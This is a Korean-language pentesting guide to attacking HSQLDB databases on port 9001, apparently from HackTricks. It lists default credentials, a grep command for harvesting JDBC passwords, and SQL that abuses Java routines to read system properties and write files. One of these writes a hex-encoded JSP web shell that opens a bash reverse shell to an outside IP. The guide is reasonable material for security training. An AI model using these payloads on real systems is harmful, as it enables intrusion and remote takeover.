9001 - Pentesting HSQLDB

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

**HSQLDB (HyperSQL DataBase)**๋Š” Java๋กœ ์ž‘์„ฑ๋œ ์ฃผ์š” SQL ๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์‹œ์Šคํ…œ์ž…๋‹ˆ๋‹ค. ๋ฉ”๋ชจ๋ฆฌ ๋‚ด ๋ฐ ๋””์Šคํฌ ๊ธฐ๋ฐ˜ ํ…Œ์ด๋ธ”์„ ๊ฐ–์ถ˜ ์ž‘๊ณ  ๋น ๋ฅธ ๋‹ค์ค‘ ์Šค๋ ˆ๋“œ ๋ฐ ํŠธ๋žœ์žญ์…˜ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์—”์ง„์„ ์ œ๊ณตํ•˜๋ฉฐ, ์ž„๋ฒ ๋””๋“œ ๋ฐ ์„œ๋ฒ„ ๋ชจ๋“œ๋ฅผ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค.

๊ธฐ๋ณธ ํฌํŠธ: 9001

9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

๊ธฐ๋ณธ ์„ค์ •

๊ธฐ๋ณธ์ ์œผ๋กœ ์ด ์„œ๋น„์Šค๋Š” ๋ฉ”๋ชจ๋ฆฌ์—์„œ ์‹คํ–‰๋˜๊ฑฐ๋‚˜ localhost์— ๋ฐ”์ธ๋”ฉ๋˜์–ด ์žˆ์„ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ๋ฐœ๊ฒฌํ–ˆ๋‹ค๋ฉด, ์•„๋งˆ๋„ ๋‹ค๋ฅธ ์„œ๋น„์Šค๋ฅผ ์ด์šฉํ•ด ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜๊ณ  ๊ถŒํ•œ ์ƒ์Šน์„ ์‹œ๋„ํ•˜๊ณ  ์žˆ๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๊ธฐ๋ณธ ์ž๊ฒฉ ์ฆ๋ช…์€ ์ผ๋ฐ˜์ ์œผ๋กœ sa์™€ ๋นˆ ๋น„๋ฐ€๋ฒˆํ˜ธ์ž…๋‹ˆ๋‹ค.

๋‹ค๋ฅธ ์„œ๋น„์Šค๋ฅผ ์ด์šฉํ–ˆ๋‹ค๋ฉด, ๊ฐ€๋Šฅํ•œ ์ž๊ฒฉ ์ฆ๋ช…์„ ๊ฒ€์ƒ‰ํ•˜์‹ญ์‹œ์˜ค.

grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ด๋ฆ„์„ ์ฃผ์˜ ๊นŠ๊ฒŒ ๊ธฐ๋กํ•˜์„ธ์š” - ์—ฐ๊ฒฐํ•˜๋Š” ๋ฐ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

์ •๋ณด ์ˆ˜์ง‘

HSQLDB ๋‹ค์šด๋กœ๋“œ ํ›„ hsqldb/lib/hsqldb.jar๋ฅผ ์ถ”์ถœํ•˜์—ฌ DB ์ธ์Šคํ„ด์Šค์— ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค. java -jar hsqldb.jar๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ GUI ์•ฑ (eww)์„ ์‹คํ–‰ํ•˜๊ณ  ๋ฐœ๊ฒฌ๋œ/์•ฝํ•œ ์ž๊ฒฉ ์ฆ๋ช…์„ ์‚ฌ์šฉํ•˜์—ฌ ์ธ์Šคํ„ด์Šค์— ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค.

์›๊ฒฉ ์‹œ์Šคํ…œ์˜ ๊ฒฝ์šฐ ์—ฐ๊ฒฐ URL์€ ๋‹ค์Œ๊ณผ ๋น„์Šทํ•˜๊ฒŒ ๋ณด์ผ ๊ฒƒ์ž…๋‹ˆ๋‹ค: jdbc:hsqldb:hsql://ip/DBNAME.

ํŠธ๋ฆญ

์ž๋ฐ” ์–ธ์–ด ๋ฃจํ‹ด

HSQLDB์—์„œ ์ž๋ฐ” ์–ธ์–ด ๋ฃจํ‹ด์„ ์‚ฌ์šฉํ•˜์—ฌ ์ž๋ฐ” ํด๋ž˜์Šค์˜ ์ •์  ๋ฉ”์„œ๋“œ๋ฅผ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ˜ธ์ถœ๋œ ํด๋ž˜์Šค๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ํด๋ž˜์Šค ๊ฒฝ๋กœ์— ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

JRT๋Š” functions ๋˜๋Š” procedures์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•จ์ˆ˜๋Š” ์ž๋ฐ” ๋ฉ”์„œ๋“œ๊ฐ€ ํ•˜๋‚˜ ์ด์ƒ์˜ SQL ํ˜ธํ™˜ ๊ธฐ๋ณธ ๋ณ€์ˆ˜๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋Š” ๊ฒฝ์šฐ SQL ๋ฌธ์„ ํ†ตํ•ด ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. VALUES ๋ฌธ์„ ์‚ฌ์šฉํ•˜์—ฌ ํ˜ธ์ถœ๋ฉ๋‹ˆ๋‹ค.

์šฐ๋ฆฌ๊ฐ€ ํ˜ธ์ถœํ•˜๋ ค๋Š” ์ž๋ฐ” ๋ฉ”์„œ๋“œ๊ฐ€ void๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋Š” ๊ฒฝ์šฐ, CALL ๋ฌธ์œผ๋กœ ํ˜ธ์ถœ๋˜๋Š” ํ”„๋กœ์‹œ์ €๋ฅผ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์ž๋ฐ” ์‹œ์Šคํ…œ ์†์„ฑ ์ฝ๊ธฐ

ํ•จ์ˆ˜ ์ƒ์„ฑ:

CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

ํ•จ์ˆ˜ ์‹คํ–‰:

VALUES(getsystemproperty('user.name'))

๋‹ค์Œ์€ ์‹œ์Šคํ…œ ์†์„ฑ ๋ชฉ๋ก์„ ์—ฌ๊ธฐ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํŒŒ์ผ์— ๋‚ด์šฉ ์“ฐ๊ธฐ

com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename Java ๊ฐ€์ ฏ์„ ์‚ฌ์šฉํ•˜์—ฌ ์‚ฌ์šฉ์ž ์ •์˜ ํ”„๋กœ์‹œ์ €๋ฅผ ํ†ตํ•ด 16์ง„์ˆ˜ ์ธ์ฝ”๋”ฉ๋œ ํ•ญ๋ชฉ์„ ๋””์Šคํฌ์— ์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (JDK์— ์ž๋™์œผ๋กœ ๋กœ๋“œ๋จ). ์ตœ๋Œ€ ํฌ๊ธฐ๋Š” 1024 ๋ฐ”์ดํŠธ์ž…๋‹ˆ๋‹ค.

ํ”„๋กœ์‹œ์ € ์ƒ์„ฑ:

CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

ํ”„๋กœ์‹œ์ € ์‹คํ–‰:

call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ